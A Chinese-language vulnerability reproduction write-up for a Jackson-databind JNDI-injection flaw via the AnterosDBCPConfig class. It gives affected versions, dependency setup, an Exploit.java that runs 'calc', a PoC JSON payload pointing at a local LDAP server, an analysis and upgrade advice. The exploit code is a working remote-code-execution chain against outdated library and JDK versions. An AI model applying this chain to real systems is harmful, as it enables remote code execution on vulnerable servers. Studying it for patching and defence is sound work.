影响范围
- Jackson-databind 在 2.9.10.4 版本之前存在漏洞。
- Jackson-databind 在 2.8.11.6 版本之前存在漏洞。
- Jackson-databind 在 2.7.9.7 版本之前存在漏洞。
漏洞类型
JDNI注入导致RCE(远程代码执行)。
利用条件
- 开启
enableDefaultTyping()
方法。 - 使用了
br.com.anteros.dbcp.AnterosDBCPConfig
第三方依赖。
漏洞概述
在2020年3月,Jackson-databind更新了一个新的反序列化利用类 br.com.anteros.dbcp.AnterosDBCPConfig
,绕过了之前Jackson-databind维护的黑名单类。如果目标系统JDK版本较低,该漏洞可导致远程代码执行(RCE)。
漏洞复现
环境搭建
你需要在 pom.xml
文件中添加以下依赖:
<code><dependencies> <dependency> <groupId>com.fasterxml.jackson.core</groupId> <artifactId>jackson-databind</artifactId> <version>2.9.9.1</version> </dependency> <dependency> <groupId>br.com.anteros</groupId> <artifactId>Anteros-DBCP</artifactId> <version>1.0.1</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-nop</artifactId> <version>1.7.2</version> </dependency> <dependency> <groupId>javax.transaction</groupId> <artifactId>jta</artifactId> <version>1.1</version> </dependency> </dependencies></code>
漏洞利用
你可以使用LDAP或RMI进行漏洞利用。在这里,我们以LDAP为例,使用的JDK版本为 JDK 11.0.1、8u191、7u201、6u211之前。在演示中,我们采用了 JDK 1.8.0_181。
编译Exploit.java
<code>import java.lang.Runtime; public class Exploit { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) { e.printStackTrace(); } } }</code>
搭建HTTP服务
使用Python搭建简易SimpleHTTPServer服务:
<code>python -m SimpleHTTPServer 4444</code>
搭建LDAP服务
使用marshalsec来启动一个LDAP服务。
执行漏洞POC
编写漏洞POC,示例代码如下:
<code>package com.jacksonTest; import com.fasterxml.jackson.databind.ObjectMapper; import java.io.IOException; public class Poc { public static void main(String[] args) throws Exception { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); String payload = "[\"br.com.anteros.dbcp.AnterosDBCPConfig\", {\"metricRegistry\":\"ldap://127.0.0.1:1099/Exploit\"}]"; try { mapper.readValue(payload, Object.class); } catch (IOException e) { e.printStackTrace(); } } }</code>
漏洞分析
在 br.com.anteros.dbcp.AnterosDBCPConfig
类中,发现了可疑的JNDI注入点。由于参数来自object,因此可通过 getObjectOrPerformJndiLookup
函数调用实现JNDI注入,从而导致RCE。
修复建议
- 及时升级Jackson-databind到安全版本。
- 升级到较高版本的JDK。
参考链接
https://github.com/FasterXML/jackson-databind/issues/2634
暂无评论内容